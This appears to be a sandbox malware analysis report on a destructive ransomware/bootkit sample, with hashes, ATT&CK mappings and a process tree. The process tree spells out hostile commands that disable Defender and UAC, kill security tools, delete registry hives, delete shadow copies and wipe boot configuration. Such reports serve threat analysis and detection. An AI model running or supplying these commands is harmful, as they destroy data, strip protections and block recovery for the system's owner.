638f9dbc41b67ab2b01bee1de5490de419f839e64ed5fb1883679c21fb5755f6

Analysis

user interaction
yes
max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
01/07/2026, 17:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
GRoupALEst5bariya.exe
Size 772KB
Sample260701-v3dhmacz2s
SHA256 638f9dbc41b67ab2b01bee1de5490de419f839e64ed5fb1883679c21fb5755f6
MD5 6bbe8482b15e0e972256609394f3ee29
SHA1 ad0f9d5eb12a21b6a2e8dfb137ae692ca8b95fdc
SHA512 f83435b52a2aec223aea42dae62025e4ffcd26e632f147b50cc7b4491464f26d186a61db73b2a8c8d921dcc7b8d562764e1e7aaab808d9bcc2b63e3d6b3de128
SSDEEP 12288:42JMi0S0WgzQvrJlRuu4jH9FKX8SHbQFP50jcGEoBl:lJj0PQvbRubgXo50jcGEoBl
TLSH
T13AF4068326DA1CFAEE932B3854DF533AA735FE708B6A8B674504D2311D135D1AD2BB40
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

bootkit defense_evasion evasion execution impact persistence ransomware trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 13 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4948	bcdedit.exe
4544	bcdedit.exe
4812	bcdedit.exe
1140	bcdedit.exe
3980	bcdedit.exe
4908	bcdedit.exe
4320	bcdedit.exe
1100	bcdedit.exe
3784	bcdedit.exe
4928	bcdedit.exe
2292	bcdedit.exe
3576	bcdedit.exe
3244	bcdedit.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	GRoupALEst5bariya.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3688	vssadmin.exe
1244	vssadmin.exe

Kills process with taskkill 9 IoCs

defense_evasion

pid	Process
1500	taskkill.exe
4280	taskkill.exe
4168	taskkill.exe
4924	taskkill.exe
2924	taskkill.exe
2584	taskkill.exe
3996	taskkill.exe
2540	taskkill.exe
4056	taskkill.exe

Modifies registry key 1 TTPs 11 IoCs

Modify Registry

T1112

pid	Process
4404	reg.exe
2592	reg.exe
5040	reg.exe
2844	reg.exe
3120	reg.exe
3628	reg.exe
4520	reg.exe
5048	reg.exe
2960	reg.exe
4156	reg.exe
2644	reg.exe

Suspicious use of AdjustPrivilegeToken 56 IoCs

description	pid	Process
Token: SeDebugPrivilege	2568	GRoupALEst5bariya.exe
Token: SeIncBasePriorityPrivilege	2568	GRoupALEst5bariya.exe
Token: SeDebugPrivilege	2584	taskkill.exe
Token: SeDebugPrivilege	1500	taskkill.exe
Token: SeDebugPrivilege	3996	taskkill.exe
Token: SeDebugPrivilege	4280	taskkill.exe
Token: SeDebugPrivilege	2540	taskkill.exe
Token: SeDebugPrivilege	4168	taskkill.exe
Token: SeDebugPrivilege	4924	taskkill.exe
Token: SeDebugPrivilege	4056	taskkill.exe
Token: SeDebugPrivilege	2924	taskkill.exe
Token: SeBackupPrivilege	1080	vssvc.exe
Token: SeRestorePrivilege	1080	vssvc.exe
Token: SeAuditPrivilege	1080	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4492	wmic.exe
Token: SeSecurityPrivilege	4492	wmic.exe
Token: SeTakeOwnershipPrivilege	4492	wmic.exe
Token: SeLoadDriverPrivilege	4492	wmic.exe
Token: SeSystemProfilePrivilege	4492	wmic.exe
Token: SeSystemtimePrivilege	4492	wmic.exe
Token: SeProfSingleProcessPrivilege	4492	wmic.exe
Token: SeIncBasePriorityPrivilege	4492	wmic.exe
Token: SeCreatePagefilePrivilege	4492	wmic.exe
Token: SeBackupPrivilege	4492	wmic.exe
Token: SeRestorePrivilege	4492	wmic.exe
Token: SeShutdownPrivilege	4492	wmic.exe
Token: SeDebugPrivilege	4492	wmic.exe
Token: SeSystemEnvironmentPrivilege	4492	wmic.exe
Token: SeRemoteShutdownPrivilege	4492	wmic.exe
Token: SeUndockPrivilege	4492	wmic.exe
Token: SeManageVolumePrivilege	4492	wmic.exe
Token: 33	4492	wmic.exe
Token: 34	4492	wmic.exe
Token: 35	4492	wmic.exe
Token: 36	4492	wmic.exe
Token: SeIncreaseQuotaPrivilege	4492	wmic.exe
Token: SeSecurityPrivilege	4492	wmic.exe
Token: SeTakeOwnershipPrivilege	4492	wmic.exe
Token: SeLoadDriverPrivilege	4492	wmic.exe
Token: SeSystemProfilePrivilege	4492	wmic.exe
Token: SeSystemtimePrivilege	4492	wmic.exe
Token: SeProfSingleProcessPrivilege	4492	wmic.exe
Token: SeIncBasePriorityPrivilege	4492	wmic.exe
Token: SeCreatePagefilePrivilege	4492	wmic.exe
Token: SeBackupPrivilege	4492	wmic.exe
Token: SeRestorePrivilege	4492	wmic.exe
Token: SeShutdownPrivilege	4492	wmic.exe
Token: SeDebugPrivilege	4492	wmic.exe
Token: SeSystemEnvironmentPrivilege	4492	wmic.exe
Token: SeRemoteShutdownPrivilege	4492	wmic.exe
Token: SeUndockPrivilege	4492	wmic.exe
Token: SeManageVolumePrivilege	4492	wmic.exe
Token: 33	4492	wmic.exe
Token: 34	4492	wmic.exe
Token: 35	4492	wmic.exe
Token: 36	4492	wmic.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 2568 wrote to memory of 4408	2568	GRoupALEst5bariya.exe	85
PID 2568 wrote to memory of 2640	2568	GRoupALEst5bariya.exe	87
PID 2568 wrote to memory of 2964	2568	GRoupALEst5bariya.exe	89
PID 2568 wrote to memory of 3792	2568	GRoupALEst5bariya.exe	91
PID 2568 wrote to memory of 3764	2568	GRoupALEst5bariya.exe	93
PID 2568 wrote to memory of 4048	2568	GRoupALEst5bariya.exe	95
PID 2568 wrote to memory of 2584	2568	GRoupALEst5bariya.exe	99
PID 2568 wrote to memory of 1500	2568	GRoupALEst5bariya.exe	101
PID 2568 wrote to memory of 3996	2568	GRoupALEst5bariya.exe	103
PID 2568 wrote to memory of 4280	2568	GRoupALEst5bariya.exe	105
PID 2568 wrote to memory of 2540	2568	GRoupALEst5bariya.exe	107
PID 2568 wrote to memory of 4168	2568	GRoupALEst5bariya.exe	109
PID 2568 wrote to memory of 4924	2568	GRoupALEst5bariya.exe	111
PID 2568 wrote to memory of 4056	2568	GRoupALEst5bariya.exe	113
PID 2568 wrote to memory of 2924	2568	GRoupALEst5bariya.exe	115
PID 2568 wrote to memory of 4404	2568	GRoupALEst5bariya.exe	117
PID 2568 wrote to memory of 2592	2568	GRoupALEst5bariya.exe	119
PID 2568 wrote to memory of 2960	2568	GRoupALEst5bariya.exe	121
PID 2568 wrote to memory of 5040	2568	GRoupALEst5bariya.exe	123
PID 2568 wrote to memory of 4156	2568	GRoupALEst5bariya.exe	125
PID 2568 wrote to memory of 2644	2568	GRoupALEst5bariya.exe	127
PID 2568 wrote to memory of 2844	2568	GRoupALEst5bariya.exe	129
PID 2568 wrote to memory of 3120	2568	GRoupALEst5bariya.exe	131
PID 2568 wrote to memory of 3628	2568	GRoupALEst5bariya.exe	133
PID 2568 wrote to memory of 3576	2568	GRoupALEst5bariya.exe	135
PID 2568 wrote to memory of 3356	2568	GRoupALEst5bariya.exe	137
PID 2568 wrote to memory of 4520	2568	GRoupALEst5bariya.exe	139
PID 2568 wrote to memory of 5048	2568	GRoupALEst5bariya.exe	141
PID 2568 wrote to memory of 3688	2568	GRoupALEst5bariya.exe	143
PID 2568 wrote to memory of 1244	2568	GRoupALEst5bariya.exe	147
PID 2568 wrote to memory of 4492	2568	GRoupALEst5bariya.exe	149
PID 2568 wrote to memory of 4948	2568	GRoupALEst5bariya.exe	151
PID 2568 wrote to memory of 4544	2568	GRoupALEst5bariya.exe	153
PID 2568 wrote to memory of 4812	2568	GRoupALEst5bariya.exe	155
PID 2568 wrote to memory of 1140	2568	GRoupALEst5bariya.exe	157
PID 2568 wrote to memory of 3980	2568	GRoupALEst5bariya.exe	159
PID 2568 wrote to memory of 4908	2568	GRoupALEst5bariya.exe	161
PID 2568 wrote to memory of 4320	2568	GRoupALEst5bariya.exe	163
PID 2568 wrote to memory of 1512	2568	GRoupALEst5bariya.exe	165
PID 2568 wrote to memory of 1100	2568	GRoupALEst5bariya.exe	167
PID 2568 wrote to memory of 3784	2568	GRoupALEst5bariya.exe	169
PID 2568 wrote to memory of 4928	2568	GRoupALEst5bariya.exe	171
PID 2568 wrote to memory of 2292	2568	GRoupALEst5bariya.exe	173
PID 2568 wrote to memory of 3576	2568	GRoupALEst5bariya.exe	175
PID 2568 wrote to memory of 3244	2568	GRoupALEst5bariya.exe	177

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe
"C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2568
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:4408
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
  2⤵
  - Modifies Windows Defender TamperProtection settings
  PID:2640
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:2964
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:3792
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:3764
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  PID:4048
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im explorer.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2584
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1500
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im powershell.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3996
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im regedit.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4280
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im msmpeng.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2540
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im SecurityHealthService.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4168
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im WindowsDefender.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4924
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im cmd.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4056
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im conhost.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2924
- C:\Windows\SYSTEM32\reg.exe
  reg delete HKLM\SYSTEM /f
  2⤵
  - Modifies registry key
  PID:4404
- C:\Windows\SYSTEM32\reg.exe
  reg delete HKLM\SOFTWARE /f
  2⤵
  - Modifies registry key
  PID:2592
- C:\Windows\SYSTEM32\reg.exe
  reg delete HKLM\SECURITY /f
  2⤵
  - Modifies registry key
  PID:2960
- C:\Windows\SYSTEM32\reg.exe
  reg delete HKLM\SAM /f
  2⤵
  - Modifies registry key
  PID:5040
- C:\Windows\SYSTEM32\reg.exe
  reg delete HKLM\HARDWARE /f
  2⤵
  - Modifies registry key
  PID:4156
- C:\Windows\SYSTEM32\reg.exe
  reg delete HKLM\BCD00000000 /f
  2⤵
  - Modifies registry key
  PID:2644
- C:\Windows\SYSTEM32\reg.exe
  reg delete HKLM\DRIVERS /f
  2⤵
  - Modifies registry key
  PID:2844
- C:\Windows\SYSTEM32\reg.exe
  reg delete HKCU\SOFTWARE /f
  2⤵
  - Modifies registry key
  PID:3120
- C:\Windows\SYSTEM32\reg.exe
  reg delete HKCU\SYSTEM /f
  2⤵
  - Modifies registry key
  PID:3628
- C:\Windows\SYSTEM32\reg.exe
  reg delete HKU /f
  2⤵
  PID:3576
- C:\Windows\SYSTEM32\reg.exe
  reg delete HKCR /f
  2⤵
  PID:3356
- C:\Windows\SYSTEM32\reg.exe
  reg delete HKLM /f
  2⤵
  - Modifies registry key
  PID:4520
- C:\Windows\SYSTEM32\reg.exe
  reg delete HKCU /f
  2⤵
  - Modifies registry key
  PID:5048
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3688
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin resize shadowstorage /for=C: /on=C: /maxsize=1MB
  2⤵
  - Interacts with shadow copies
  PID:1244
- C:\Windows\System32\Wbem\wmic.exe
  wmic shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4492
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4948
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4544
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {default} integrityservices disable
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4812
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {default} testsigning on
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1140
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {default} nx AlwaysOff
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3980
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {default} quietboot on
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4908
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {default} displaybootmenu No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4320
- C:\Windows\SYSTEM32\reagentc.exe
  reagentc /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:1512
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /delete {bootmgr} /f
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1100
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /delete {current} /f
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3784
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /delete {default} /f
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4928
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /delete {memdiag} /f
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2292
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /delete {ntldr} /f
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3576
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /delete {fwbootmgr} /f
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3244